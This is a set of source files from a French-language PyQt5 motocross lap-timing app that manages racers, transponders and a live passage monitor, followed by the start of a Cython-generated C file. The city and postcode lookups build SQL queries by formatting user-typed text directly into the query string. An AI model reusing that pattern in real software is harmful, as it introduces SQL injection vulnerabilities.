QtGui.QFont() font.setBold(True) font.setWeight(75) item.setFont(font) self.TM_T_passage.setHorizontalHeaderItem(5, item) self.TM_T_passage.horizontalHeader().setCascadingSectionResizes(False) self.TM_T_passage.horizontalHeader().setDefaultSectionSize(100) self.TM_T_passage.horizontalHeader().setMinimumSectionSize(50) self.TM_T_passage.horizontalHeader().setSortIndicatorShown(True) self.TM_T_passage.horizontalHeader().setStretchLastSection(True) self.TM_T_passage.verticalHeader().setVisible(False) self.TM_T_passage.verticalHeader().setDefaultSectionSize(10) self.TM_T_passage.verticalHeader().setHighlightSections(False) self.TM_T_passage.verticalHeader().setMinimumSectionSize(10) self.horizontalLayout_9.addWidget(self.TM_T_passage) self.verticalLayout.addLayout(self.horizontalLayout_9) self.Tab_Container.addTab(self.T_Monitor, "") MainWindow.setCentralWidget(self.centralwidget) self.menubar = QtWidgets.QMenuBar(MainWindow) self.menubar.setGeometry(QtCore.QRect(0, 0, 800, 19)) font = QtGui.QFont() font.setPointSize(9) self.menubar.setFont(font) self.menubar.setObjectName("menubar") self.menuFfff = QtWidgets.QMenu(self.menubar) self.menuFfff.setObjectName("menuFfff") self.menuConcurrents = QtWidgets.QMenu(self.menubar) self.menuConcurrents.setObjectName("menuConcurrents") self.menuCourses = QtWidgets.QMenu(self.menubar) self.menuCourses.setObjectName("menuCourses") self.menuR_sultats = QtWidgets.QMenu(self.menubar) self.menuR_sultats.setObjectName("menuR_sultats") MainWindow.setMenuBar(self.menubar) self.statusbar = QtWidgets.QStatusBar(MainWindow) self.statusbar.setObjectName("statusbar") MainWindow.setStatusBar(self.statusbar) self.actionQuitter = QtWidgets.QAction(MainWindow) self.actionQuitter.setShortcut("Ctrl+Q") self.actionQuitter.setMenuRole(QtWidgets.QAction.QuitRole) self.actionQuitter.setObjectName("actionQuitter") self.actionNouvelle_Course = QtWidgets.QAction(MainWindow) self.actionNouvelle_Course.setObjectName("actionNouvelle_Course") self.actionOuvrire = QtWidgets.QAction(MainWindow) self.actionOuvrire.setObjectName("actionOuvrire") self.actionEnregister = QtWidgets.QAction(MainWindow) self.actionEnregister.setObjectName("actionEnregister") self.actionEnregistrer_Sous = QtWidgets.QAction(MainWindow) self.actionEnregistrer_Sous.setObjectName("actionEnregistrer_Sous") self.menuFfff.addSeparator() self.menuFfff.addSeparator() self.menuFfff.addAction(self.actionNouvelle_Course) self.menuFfff.addAction(self.actionOuvrire) self.menuFfff.addAction(self.actionEnregister) self.menuFfff.addAction(self.actionEnregistrer_Sous) self.menuFfff.addSeparator() self.menuFfff.addAction(self.actionQuitter) self.menubar.addAction(self.menuFfff.menuAction()) self.menubar.addAction(self.menuConcurrents.menuAction()) self.menubar.addAction(self.menuCourses.menuAction()) self.menubar.addAction(self.menuR_sultats.menuAction()) self.retranslateUi(MainWindow) self.Tab_Container.setCurrentIndex(4) self.toolBox.setCurrentIndex(1) self.toolBox.layout().setSpacing(6) self.RB_Add.released.connect(MainWindow.update) self.Tab_Container.currentChanged['int'].connect(MainWindow.setFocus) QtCore.QMetaObject.connectSlotsByName(MainWindow) def retranslateUi(self, MainWindow): _translate = QtCore.QCoreApplication.translate MainWindow.setWindowTitle(_translate("MainWindow", "RaceChrono (c) <NAME> 2018")) self.label_2.setText(_translate("MainWindow", "Numéro:")) self.RB_Add.setText(_translate("MainWindow", "Ajouter")) self.RB_Del.setText(_translate("MainWindow", "Effacer")) self.label.setText(_translate("MainWindow", "Nom")) self.label_6.setText(_translate("MainWindow", "Prénom")) self.label_13.setText(_translate("MainWindow", "Adresse")) self.label_10.setText(_translate("MainWindow", "Npa/Localité")) self.label_14.setText(_translate("MainWindow", "Pays")) self.label_12.setText(_translate("MainWindow", "Date naissance")) self.R_date.setDisplayFormat(_translate("MainWindow", "dd MMMM yyyy")) self.label_15.setText(_translate("MainWindow", "Téléphones:")) self.label_16.setText(_translate("MainWindow", "Privé:")) self.R_telephone.setInputMask(_translate("MainWindow", "+##/####/### ####")) self.label_17.setText(_translate("MainWindow", "Urgence:")) self.label_3.setText(_translate("MainWindow", "E-Mail")) self.label_11.setText(_translate("MainWindow", "Marque")) self.label_8.setText(_translate("MainWindow", "Numéro course")) self.label_4.setText(_translate("MainWindow", "Licence(s)")) self.label_7.setText(_translate("MainWindow", "Transpondeur")) self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Racer), _translate("MainWindow", "Concurrents")) self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Category), _translate("MainWindow", "Catégories")) self.label_33.setText(_translate("MainWindow", "Numéro:")) self.label_34.setText(_translate("MainWindow", "Nom")) self.label_35.setText(_translate("MainWindow", "Prénom")) self.label_37.setText(_translate("MainWindow", "Npa/Localité")) self.label_38.setText(_translate("MainWindow", "Pays")) self.label_39.setText(_translate("MainWindow", "Date naissance")) self.RR_date.setDisplayFormat(_translate("MainWindow", "dd MMMM yyyy")) self.label_45.setText(_translate("MainWindow", "Numéro course")) self.label_46.setText(_translate("MainWindow", "Licence(s)")) self.label_47.setText(_translate("MainWindow", "Transpondeur")) self.label_48.setText(_translate("MainWindow", "Catégorie")) self.RR_Categorie.setSortingEnabled(True) self.RR_Categorie.headerItem().setText(0, _translate("MainWindow", "Catégories")) __sortingEnabled = self.RR_Categorie.isSortingEnabled() self.RR_Categorie.setSortingEnabled(False) self.RR_Categorie.setSortingEnabled(__sortingEnabled) self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Racer_Race), _translate("MainWindow", "Participants")) self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_RaceModel), _translate("MainWindow", "Modeles Courses")) self.B_Define.setItemText(0, _translate("MainWindow", "Menu Options")) self.B_Define.setItemText(1, _translate("MainWindow", "Durée")) self.B_Define.setItemText(2, _translate("MainWindow", "Sauvegade des Résultats")) self.B_Start.setText(_translate("MainWindow", "Départ")) self.B_Stop.setText(_translate("MainWindow", "STOP")) self.R_RaceLive.setSortingEnabled(False) item = self.R_RaceLive.horizontalHeaderItem(2) item.setText(_translate("MainWindow", "Nom")) item = self.R_RaceLive.horizontalHeaderItem(3) item.setText(_translate("MainWindow", "Laps")) item = self.R_RaceLive.horizontalHeaderItem(4) item.setText(_translate("MainWindow", "Temps")) item = self.R_RaceLive.horizontalHeaderItem(5) item.setText(_translate("MainWindow", "Dernier")) item = self.R_RaceLive.horizontalHeaderItem(6) item.setText(_translate("MainWindow", "Meilleur")) self.toolBox.setItemText(self.toolBox.indexOf(self.P_Race), _translate("MainWindow", "Course")) self.B_Define_2.setItemText(0, _translate("MainWindow", "Menu Options")) self.B_Define_2.setItemText(1, _translate("MainWindow", "Durée")) self.B_Define_2.setItemText(2, _translate("MainWindow", "Sauvegade des Résultats")) self.B_Stop_2.setText(_translate("MainWindow", "STOP")) self.B_Start_2.setText(_translate("MainWindow", "Départ")) self.R_RaceLive_2.setSortingEnabled(False) item = self.R_RaceLive_2.horizontalHeaderItem(2) item.setText(_translate("MainWindow", "Nom")) item = self.R_RaceLive_2.horizontalHeaderItem(3) item.setText(_translate("MainWindow", "Laps")) item = self.R_RaceLive_2.horizontalHeaderItem(4) item.setText(_translate("MainWindow", "Temps")) item = self.R_RaceLive_2.horizontalHeaderItem(5) item.setText(_translate("MainWindow", "Dernier")) item = self.R_RaceLive_2.horizontalHeaderItem(6) item.setText(_translate("MainWindow", "Meilleur")) self.toolBox.setItemText(self.toolBox.indexOf(self.P_Laptime), _translate("MainWindow", "Laptime")) self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Race), _translate("MainWindow", "Courses")) self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Results), _translate("MainWindow", "Résultats")) item = self.TM_T_passage.horizontalHeaderItem(0) item.setText(_translate("MainWindow", "Decode / Pos.")) item = self.TM_T_passage.horizontalHeaderItem(1) item.setText(_translate("MainWindow", "TimeCode ")) item = self.TM_T_passage.horizontalHeaderItem(2) item.setText(_translate("MainWindow", "Transpondeur")) item = self.TM_T_passage.horizontalHeaderItem(3) item.setText(_translate("MainWindow", "LapTime")) item = self.TM_T_passage.horizontalHeaderItem(4) item.setText(_translate("MainWindow", "Numéro")) item = self.TM_T_passage.horizontalHeaderItem(5) item.setText(_translate("MainWindow", "Nom,Prénom Concurrent")) self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Monitor), _translate("MainWindow", "Moniteur")) self.menuFfff.setTitle(_translate("MainWindow", "Fichier")) self.menuConcurrents.setTitle(_translate("MainWindow", "&Concurrents")) self.menuCourses.setTitle(_translate("MainWindow", "Co&urses")) self.menuR_sultats.setTitle(_translate("MainWindow", "R&ésultats")) self.actionQuitter.setText(_translate("MainWindow", "&Quitter")) self.actionQuitter.setWhatsThis(_translate("MainWindow", "Quit le programme")) self.actionNouvelle_Course.setText(_translate("MainWindow", "&Nouvelle Course")) self.actionOuvrire.setText(_translate("MainWindow", "&Ouvrire")) self.actionEnregister.setText(_translate("MainWindow", "&Enregister")) self.actionEnregistrer_Sous.setText(_translate("MainWindow", "Enregistrer &Sous")) <file_sep>/gui/MainWindow.py #!/usr/bin/python ###################################################################################### # (c) <NAME>, <EMAIL>, mars 2018 # ###################################################################################### from PyQt5 import QtWidgets, QtCore from PyQt5.QtCore import QTimer from PyQt5.QtGui import QBrush from gui.Ui_MainWindow import Ui_MainWindow # Tables definition imports from tables.T_Marques import T_Marques from tables.T_Concurrents import T_Concurrents from tables.T_Pays import T_Pays from tables.T_Ville import T_Ville import Globals from Globals import colors from Globals import tpRacerList from gui.Set_RacerTp import Set_RacerTp from manageRace import manageRace _categorie = [ ["MX1", ["Top", "Pro", "Carton"]], ["MX2", ["Top", "Pro", "Carton"]], ["Mini", ["Mini"]], ["MX125", ["Top", "Pro", "Carton"]], ["MX3", ["MX3", "Carton"]] ] class MainWindow(QtWidgets.QMainWindow, Ui_MainWindow): __RacerEdited = None __ActualRace = None def getActualRace(self): return self.__ActualRace def getRacer(self): return self.__RacerEdited def setRacer(self, theRacer): self.__RacerEdited = theRacer def __init__(self, parent=None): super(MainWindow, self).__init__(parent) self.setupUi(self) def connectActions(self): self.actionQuitter.triggered.connect( QtWidgets.qApp.quit ) self.L_racerlist.itemDoubleClicked.connect( self.editRacer) self.findNumber.returnPressed.connect( self.findNumRacer) self.R_Npa.returnPressed.connect( self.findNpa) self.R_City.returnPressed.connect( self.findVille) self.RB_Add.clicked.connect( self.addRacer ) self.TM_T_passage.itemDoubleClicked.connect( self.setRacerTb) # Race action: self.B_Start.clicked.connect( self.startRace ) self.B_Stop.clicked.connect( manageRace.stop ) self.B_Define.currentIndexChanged.connect( manageRace.requestDefine ) def startRace(self): if self.__ActualRace == None: print("Starting Race") self.__ActualRace = manageRace( Globals.raceDuration, Globals.raceLaps ) self.__ActualRace.start() else: print("Race allready running") def setRacerTb(self, item): row = self.TM_T_passage.currentRow() dlg = Set_RacerTp() dlg.main() if dlg.exec_(): if dlg.getDict() == None: return d = dlg.getDict() tp = int( self.TM_T_passage.item(row, 2).text() ) d['transponder'] = tp tpRacerList[ Globals.C_concurrents_TP_fmt%tp]=dlg.r_item.data(Globals.UserRole) def addRacer(self): item = QtWidgets.QListWidgetItem() item.setText( "Nouveau" ) self.concurrents.newRecord() c = dict( self.concurrents._data ) c['transponder'] = 0 item.setData( Globals.UserRole, c ) item.setFont( Globals.C_listFont ) self.L_racerlist.addItem(item) self.editRacer( item ) title = "%s (%d)"%(QtCore.QCoreApplication.translate("MainWindow", "Concurrents"), self.L_racerlist.count()) self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Racer), title) Globals.racerList[ Globals.C_concurrents_ID_fmt%( len(Globals.racerList)+10001 )] = c def findNpa(self): try: fn = self.R_Npa.text() pa = self.R_Pays.itemData( self.R_Pays.currentIndex() ) if self.t_ville.getRecord( "npa LIKE '%s' AND pays LIKE '%s'"%(fn , pa )): c = dict( self.t_ville._data ) self.R_City.setText( c['nom'] ) self.R_Npa.setText( c['npa'] ) except Exception as e: print(e) return def findVille(self): try: fn = self.R_City.text() pa = self.R_Pays.itemData( self.R_Pays.currentIndex() ) if self.t_ville.getRecord( "nom LIKE '%s' AND pays LIKE '%s'"%(fn , pa )): c = dict( self.t_ville._data ) self.R_Npa.setText( c['npa'] ) self.R_City.setText( c['nom'] ) elif self.t_ville.getRecord( "nom LIKE '%s%c' AND pays LIKE '%s'"%(fn ,'%', pa )): c = dict( self.t_ville._data ) self.R_Npa.setText( c['npa'] ) self.R_City.setText( c['nom'] ) except Exception as e: print(e) return def findNumRacer(self): try: fn = int( self.findNumber.text() ) item = self.L_racerlist.findItems( "%4.0d"%fn, QtCore.Qt.MatchStartsWith) except: return if len( item )>0: self.L_racerlist.setCurrentItem( item[0]) self.editRacer( item[0] ) def editRacer(self, item): id = item.data(Globals.UserRole) print (id) racer = Globals.racerList[ id] print (racer) oldracerItem = self.__RacerEdited if oldracerItem is not None: rl = self.R_lastname.text() rf = self.R_firstname.text() try: rn = int( self.R_number.text() ) except: rn = 0 try: rt = int( self.R_transponder.text() ) except: rt = 0 rm = self.R_brandMenu.itemData( self.R_brandMenu.currentIndex() ) rp = self.R_Npa.text() rc = self.R_City.text() pa = self.R_Pays.itemData( self.R_Pays.currentIndex() ) oldracer = Globals.racerList[ oldracerItem.data( Globals.UserRole )] if oldracer is None: oldracer = [ ] oldracer['numero'] = rn oldracer['nom'] = rl oldracer['prenom'] = rf if oldracer['transponder'] != rt: if Globals.C_concurrents_TP_fmt%oldracer['transponder'] in tpRacerList: tpRacerList.pop( Globals.C_concurrents_TP_fmt%oldracer['transponder'] ) oldracer['transponder'] = rt tpRacerList[ Globals.C_concurrents_TP_fmt%rt ] = oldracerItem.data( Globals.UserRole ) oldracer['moto'] = rm oldracer['ville'] = rc oldracer['npa'] = rp oldracer['pays'] = pa oldracerItem.setText( Globals.C_concurrents_item_fmt % ( oldracer['numero'], oldracer['nom'], oldracer['prenom'] ) ) if racer is None : self.R_lastname.setText( "" ) self.R_firstname.setText( "" ) self.R_number.setText( "" ) self.R_transponder.setText( "") else: self.R_lastname.setText( racer['nom'] ) self.R_firstname.setText( racer['prenom'] ) self.R_number.setText( "%d"%racer['numero'] ) self.R_transponder.setText( "%d"%racer['transponder']) self.R_brandMenu.setCurrentIndex( self.R_brandMenu.findData(racer['moto'])) pa = racer['pays'] if pa == None: pa = 'CHE' self.R_Pays.setCurrentIndex( self.R_Pays.findData( pa )) self.__RacerEdited = item self.R_Npa.setText( racer['npa']) self.R_City.setText( racer['ville']) if racer['npa'] == None: self.findVille() if racer['ville'] == None: self.findNpa() def initGuiPays(self): self.pays = T_Pays() self.R_Pays.clear() i = 0 while self.pays.getRecord("display = TRUE", i): c = dict( self.pays._data ) self.R_Pays.addItem(c['nom'], c['id']) i += 1 def initGuiMarques(self): self.marques = T_Marques() self.R_brandMenu.clear() while self.marques.getNextRecord(): c = dict( self.marques._data ) self.R_brandMenu.addItem(c['nom'], c['id']) def initListConcurrents(self): self.L_racerlist.setSortingEnabled(True) self.concurrents = T_Concurrents() while self.concurrents.getNextRecord(): c = dict( self.concurrents._data ) c['transponder'] = 0 Globals.racerList[ Globals.C_concurrents_ID_fmt%( c['id'] )] = c def initGuiConcurrents(self): for id in Globals.racerList: i = Globals.racerList[id] item = QtWidgets.QListWidgetItem() item.setText( Globals.C_concurrents_item_fmt % ( i['numero'], i['nom'], i['prenom'] ) ) item.setData( Globals.UserRole, id) item.setFont( Globals.C_listFont ) self.L_racerlist.addItem(item) title = "%s (%d)"%(QtCore.QCoreApplication.translate("MainWindow", "Concurrents"), self.L_racerlist.count()) self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Racer), title) def initGui(self): self.t_ville = T_Ville() self.initGuiPays() self.initGuiMarques() self.initListConcurrents() self.initGuiConcurrents() def updateMonitor(self): def setLine(self, color, row, column, text): try: brush = QBrush(color) brush.setStyle(QtCore.Qt.SolidPattern) i = QtWidgets.QTableWidgetItem( text ) i.setBackground( brush ) self.TM_T_passage.setItem(row, column, i ) except Exception as e: print("in updateNonitor, setLine( self,color,%d,%d,%s)"%(row, column, text)) print( color ) print( e ) self.TM_T_passage.setSortingEnabled(False) for task in Globals.receiver: r = Globals.receiver[task] pos = task q = r['queue']['monitor'] while not q.empty(): e = q.get_nowait() tp = e.tp millis = e.millis type = e.type color = colors["White"] try: if tp in Globals.dictBestLapMonitor: tt = Globals.dictBestLapMonitor[tp] if tt['ridernum']== 0: if "TP_%8.8X"%tp in tpRacerList : c = Globals.racerList[ tpRacerList[ Globals.C_concurrents_TP_fmt%tp ] ] tt['ridername'] = Globals.C_concurrents_moni_fmt%(c['nom'], c['prenom']) # I_ridername tt['ridernum'] = c['numero'] # I_ridernum if type == 0: lap = millis - tt['lasttick'] tt['lasttick' ] = millis tt['lastlap'] = lap if lap < tt['bestlap']: tt['bestlap'] = lap tt['textcolor'] = Globals.text_inverted + Globals.text_green color = colors["Green"] if lap > tt['bestlap']: tt['textcolor'] = Globals.text_inverted + Globals.text_red color = colors["Red"] tt['lapcount'] +=1 else: Globals.dictBestLapMonitor[tp] = dict() tt = Globals.dictBestLapMonitor[tp] tt['bestlap'] = Globals.max_time # I_bestlap tt['lastlap'] = 0 # I_lastlap if "TP_%8.8X"%tp in tpRacerList : c = Globals.racerList[ tpRacerList[ Globals.C_concurrents_TP_fmt%tp ] ] tt['ridername'] = c['nom'] # I_ridername tt['ridernum'] = c['numero'] # I_ridernum else: tt['ridername'] ="" tt['ridernum'] = 0 tt['lasttick'] = millis # I_lasttick tt['lapcount'] = 0 # I_lapcount tt['totticks'] = 0.999999999 # I_totticks tt['textcolor'] = Globals.text_inverted + Globals.text_blue # I_textcolor color = colors["Blue"] r = self.TM_T_passage.rowCount() if r > 40: self.TM_T_passage.removeRow(0) r = 40 self.TM_T_passage.insertRow( r ) self.TM_T_passage.setRowHeight( r, 12) if type == 0: setLine( self, color, r, 0, pos ) setLine( self, color, r, 3, Globals.createTime(tt['lastlap'] ) ) else: setLine( self, color, r, 0, "P(%d):%s"%(type, pos )) setLine( self, color, r, 3, Globals.createTime(millis - tt['lasttick'] ) ) setLine( self, color, r, 1, Globals.createTime(millis ) ) setLine( self, color, r, 2, "%8d"%tp ) setLine( self, color, r, 3, Globals.createTime(tt['lastlap'] ) ) if tt['ridernum'] == 0: setLine(self, colors["Cyan"], r, 4, "" ) setLine(self, colors["Cyan"], r, 5, "" ) else: setLine(self, colors["White"], r, 4, "%5d"%tt['ridernum'] ) setLine(self, colors["White"], r, 5, tt['ridername'] ) except Exception as e: print("in updateNonitor") print( e ) def main(self): self.connectActions() self.initGui() self.R_RaceLive.setColumnHidden(0, True) self.R_RaceLive.setColumnHidden(1, True) self.R_RaceLive.setColumnHidden(2, True) self.R_RaceLive.setColumnHidden(3, True) self.R_RaceLive.setColumnHidden(4, True) self.R_RaceLive.setColumnHidden(5, True) self.timer = QTimer() self.timer.timeout.connect(self.updateMonitor) self.timer.start(1000) self.show() <file_sep>/gui/Ui_set_RaceLen.py # -*- coding: utf-8 -*- # Form implementation generated from reading ui file 'defGui/set_RaceLen.ui' # # Created by: PyQt5 UI code generator 5.7 # # WARNING! All changes made in this file will be lost! from PyQt5 import QtCore, QtGui, QtWidgets class Ui_set_RaceLen(object): def setupUi(self, set_RaceLen): set_RaceLen.setObjectName("set_RaceLen") set_RaceLen.setWindowModality(QtCore.Qt.ApplicationModal) set_RaceLen.resize(276, 71) set_RaceLen.setWindowTitle("") set_RaceLen.setLocale(QtCore.QLocale(QtCore.QLocale.French, QtCore.QLocale.Switzerland)) set_RaceLen.setModal(True) self.buttonBox = QtWidgets.QDialogButtonBox(set_RaceLen) self.buttonBox.setGeometry(QtCore.QRect(180, 10, 81, 301)) self.buttonBox.setToolTip("") self.buttonBox.setStatusTip("") self.buttonBox.setAccessibleName("") self.buttonBox.setAccessibleDescription("") self.buttonBox.setLocale(QtCore.QLocale(QtCore.QLocale.French, QtCore.QLocale.Switzerland)) self.buttonBox.setOrientation(QtCore.Qt.Vertical) self.buttonBox.setStandardButtons(QtWidgets.QDialogButtonBox.Cancel|QtWidgets.QDialogButtonBox.Ok) self.buttonBox.setObjectName("buttonBox") self.formLayoutWidget = QtWidgets.QWidget(set_RaceLen) self.formLayoutWidget.setGeometry(QtCore.QRect(0, 10, 175, 88)) self.formLayoutWidget.setObjectName("formLayoutWidget") self.formLayout = QtWidgets.QFormLayout(self.formLayoutWidget) self.formLayout.setContentsMargins(0, 0, 0, 0) self.formLayout.setObjectName("formLayout") self.durELabel = QtWidgets.QLabel(self.formLayoutWidget) self.durELabel.setToolTip("") self.durELabel.setStatusTip("") self.durELabel.setAccessibleName("") self.durELabel.setAccessibleDescription("") self.durELabel.setLocale(QtCore.QLocale(QtCore.QLocale.French, QtCore.QLocale.Switzerland)) self.durELabel.setObjectName("durELabel") self.formLayout.setWidget(0, QtWidgets.QFormLayout.LabelRole, self.durELabel) self.durETimeEdit = QtWidgets.QTimeEdit(self.formLayoutWidget) self.durETimeEdit.setToolTip("") self.durETimeEdit.setStatusTip("") self.durETimeEdit.setAccessibleName("") self.durETimeEdit.setAccessibleDescription("") self.durETimeEdit.setLocale(QtCore.QLocale(QtCore.QLocale.French, QtCore.QLocale.Switzerland)) self.durETimeEdit.setMinimumDate(QtCore.QDate(2000, 3, 31)) self.durETimeEdit.setCurrentSection(QtWidgets.QDateTimeEdit.MinuteSection) self.durETimeEdit.setDisplayFormat("hh:mm") self.durETimeEdit.setTimeSpec(QtCore.Qt.UTC) self.durETimeEdit.setTime(QtCore.QTime(0, 10, 0)) self.durETimeEdit.setObjectName("durETimeEdit") self.formLayout.setWidget(0, QtWidgets.QFormLayout.FieldRole, self.durETimeEdit) self.nbTourLabel = QtWidgets.QLabel(self.formLayoutWidget) self.nbTourLabel.setObjectName("nbTourLabel") self.formLayout.setWidget(1, QtWidgets.QFormLayout.LabelRole, self.nbTourLabel) self.nbTourIntNumInput = QtWidgets.QSpinBox(self.formLayoutWidget) self.nbTourIntNumInput.setToolTip("") self.nbTourIntNumInput.setStatusTip("") self.nbTourIntNumInput.setAccessibleName("") self.nbTourIntNumInput.setAccessibleDescription("") self.nbTourIntNumInput.setInputMethodHints(QtCore.Qt.ImhDigitsOnly|QtCore.Qt.ImhPreferNumbers) self.nbTourIntNumInput.setButtonSymbols(QtWidgets.QAbstractSpinBox.PlusMinus) self.nbTourIntNumInput.setSpecialValueText("") self.nbTourIntNumInput.setSuffix(" Tour(s)") self.nbTourIntNumInput.setMaximum(999) self.nbTourIntNumInput.setObjectName("nbTourIntNumInput") self.formLayout.setWidget(1, QtWidgets.QFormLayout.FieldRole, self.nbTourIntNumInput) self.retranslateUi(set_RaceLen) self.buttonBox.accepted.connect(set_RaceLen.accept) self.buttonBox.rejected.connect(set_RaceLen.reject) QtCore.QMetaObject.connectSlotsByName(set_RaceLen) def retranslateUi(self, set_RaceLen): _translate = QtCore.QCoreApplication.translate self.durELabel.setText(_translate("set_RaceLen", "Durée")) self.nbTourLabel.setText(_translate("set_RaceLen", "Nb Tour")) <file_sep>/cython/gui/Ui_Set_RacerTp.cc /* Generated by Cython 0.25.2 */ #define PY_SSIZE_T_CLEAN #include "Python.h" #ifndef Py_PYTHON_H #error Python headers needed to compile C extensions, please install development version of Python. #elif PY_VERSION_HEX < 0x02060000 || (0x03000000 <= PY_VERSION_HEX && PY_VERSION_HEX < 0x03020000) #error Cython requires Python 2.6+ or Python 3.2+. #else #define CYTHON_ABI "0_25_2" #include <stddef.h> #ifndef offsetof #define offsetof(type, member) ( (size_t) & ((type*)0) -> member ) #endif #if !defined(WIN32) && !defined(MS_WINDOWS) #ifndef __stdcall #define __stdcall #endif #ifndef __cdecl #define __cdecl #endif #ifndef __fastcall #define __fastcall #endif #endif #ifndef DL_IMPORT #define DL_IMPORT(t) t #endif #ifndef DL_EXPORT #define DL_EXPORT(t) t #endif #ifndef HAVE_LONG_LONG #if PY_VERSION_HEX >= 0x03030000 || (PY_MAJOR_VERSION == 2 && PY_VERSION_HEX >= 0x02070000) #define HAVE_LONG_LONG #endif #endif #ifndef PY_LONG_LONG #define PY_LONG_LONG LONG_LONG #endif #ifndef Py_HUGE_VAL #define Py_HUGE_VAL HUGE_VAL #endif #ifdef PYPY_VERSION #define CYTHON_COMPILING_IN_PYPY 1 #define CYTHON_COMPILING_IN_PYSTON 0 #define CYTHON_COMPILING_IN_CPYTHON 0 #undef CYTHON_USE_TYPE_SLOTS #define CYTHON_USE_TYPE_SLOTS 0 #undef CYTHON_USE_ASYNC_SLOTS #define CYTHON_USE_ASYNC_SLOTS 0 #undef CYTHON_USE_PYLIST_INTERNALS #define CYTHON_USE_PYLIST_INTERNALS 0 #undef CYTHON_USE_UNICODE_INTERNALS #define CYTHON_USE_UNICODE_INTERNALS 0 #undef CYTHON_USE_UNICODE_WRITER #define CYTHON_USE_UNICODE_WRITER 0 #undef CYTHON_USE_PYLONG_INTERNALS #define CYTHON_USE_PYLONG_INTERNALS 0 #undef CYTHON_AVOID_BORROWED_REFS #define CYTHON_AVOID_BORROWED_REFS 1 #undef CYTHON_ASSUME_SAFE_MACROS #define CYTHON_ASSUME_SAFE_MACROS 0 #undef CYTHON_UNPACK_METHODS #define CYTHON_UNPACK_METHODS 0 #undef CYTHON_FAST_THREAD_STATE #define CYTHON_FAST_THREAD_STATE 0 #undef CYTHON_FAST_PYCALL #define CYTHON_FAST_PYCALL 0 #elif defined(PYSTON_VERSION) #define CYTHON_COMPILING_IN_PYPY 0 #define CYTHON_COMPILING_IN_PYSTON 1 #define CYTHON_COMPILING_IN_CPYTHON 0 #ifndef CYTHON_USE_TYPE_SLOTS #define CYTHON_USE_TYPE_SLOTS 1 #endif #undef CYTHON_USE_ASYNC_SLOTS #define CYTHON_USE_ASYNC_SLOTS 0 #undef CYTHON_USE_PYLIST_INTERNALS #define CYTHON_USE_PYLIST_INTERNALS 0 #ifndef CYTHON_USE_UNICODE_INTERNALS #define CYTHON_USE_UNICODE_INTERNALS 1 #endif #undef CYTHON_USE_UNICODE_WRITER #define CYTHON_USE_UNICODE_WRITER 0 #undef CYTHON_USE_PYLONG_INTERNALS #define CYTHON_USE_PYLONG_INTERNALS 0 #ifndef CYTHON_AVOID_BORROWED_REFS #define CYTHON_AVOID_BORROWED_REFS 0 #endif #ifndef CYTHON_ASSUME_SAFE_MACROS #define CYTHON_ASSUME_SAFE_MACROS 1 #endif #ifndef CYTHON_UNPACK_METHODS #define CYTHON_UNPACK_METHODS 1 #endif #undef CYTHON_FAST_THREAD_STATE #define CYTHON_FAST_THREAD_STATE 0 #undef CYTHON_FAST_PYCALL #define CYTHON_FAST_PYCALL 0 #else #define CYTHON_COMPILING_IN_PYPY 0 #define CYTHON_COMPILING_IN_PYSTON 0 #define CYTHON_COMPILING_IN_CPYTHON 1 #ifndef CYTHON_USE_TYPE_SLOTS #define CYTHON_USE_TYPE_SLOTS 1 #endif #if PY_MAJOR_VERSION < 3 #undef CYTHON_USE_ASYNC_SLOTS #define CYTHON_USE_ASYNC_SLOTS 0 #elif !defined(CYTHON_USE_ASYNC_SLOTS) #define CYTHON_USE_ASYNC_SLOTS 1 #endif #if PY_VERSION_HEX < 0x02070000 #undef CYTHON_USE_PYLONG_INTERNALS #define CYTHON_USE_PYLONG_INTERNALS 0 #elif !defined(CYTHON_USE_PYLONG_INTERNALS) #define CYTHON_USE_PYLONG_INTERNALS 1 #endif #ifndef CYTHON_USE_PYLIST_INTERNALS #define CYTHON_USE_PYLIST_INTERNALS 1 #endif #ifndef CYTHON_USE_UNICODE_INTERNALS #define CYTHON_USE_UNICODE_INTERNALS 1 #endif #if PY_VERSION_HEX < 0x030300F0 #undef CYTHON_USE_UNICODE_WRITER #define CYTHON_USE_UNICODE_WRITER 0 #elif !defined(CYTHON_USE_UNICODE_WRITER) #define CYTHON_USE_UNICODE_WRITER 1 #endif #ifndef CYTHON_AVOID_BORROWED_REFS #define CYTHON_AVOID_BORROWED_REFS 0 #endif #ifndef CYTHON_ASSUME_SAFE_MACROS #define CYTHON_ASSUME_SAFE_MACROS 1 #endif #ifndef CYTHON_UNPACK_METHODS #define CYTHON_UNPACK_METHODS 1 #endif #ifndef CYTHON_FAST_THREAD_STATE #define CYTHON_FAST_THREAD_STATE 1 #endif #ifndef CYTHON_FAST_PYCALL #define CYTHON_FAST_PYCALL 1 #endif #endif #if !defined(CYTHON_FAST_PYCCALL) #define CYTHON_FAST_PYCCALL (CYTHON_FAST_PYCALL && PY_VERSION_HEX >= 0x030600B1) #endif #if CYTHON_USE_PYLONG_INTERNALS #include "longintrepr.h" #undef SHIFT #undef BASE #undef MASK #endif #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX < 0x02070600 && !defined(Py_OptimizeFlag) #define Py_OptimizeFlag 0 #endif #define __PYX_BUILD_PY_SSIZE_T "n" #define CYTHON_FORMAT_SSIZE_T "z" #if PY_MAJOR_VERSION < 3 #define __Pyx_BUILTIN_MODULE_NAME "__builtin__" #define __Pyx_PyCode_New(a, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ PyCode_New(a+k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) #define __Pyx_DefaultClassType PyClass_Type #else #define __Pyx_BUILTIN_MODULE_NAME "builtins" #define __Pyx_PyCode_New(a, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ PyCode_New(a, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) #define __Pyx_DefaultClassType PyType_Type #endif #ifndef Py_TPFLAGS_CHECKTYPES #define Py_TPFLAGS_CHECKTYPES 0 #endif #ifndef Py_TPFLAGS_HAVE_INDEX #define Py_TPFLAGS_HAVE_INDEX 0 #endif #ifndef 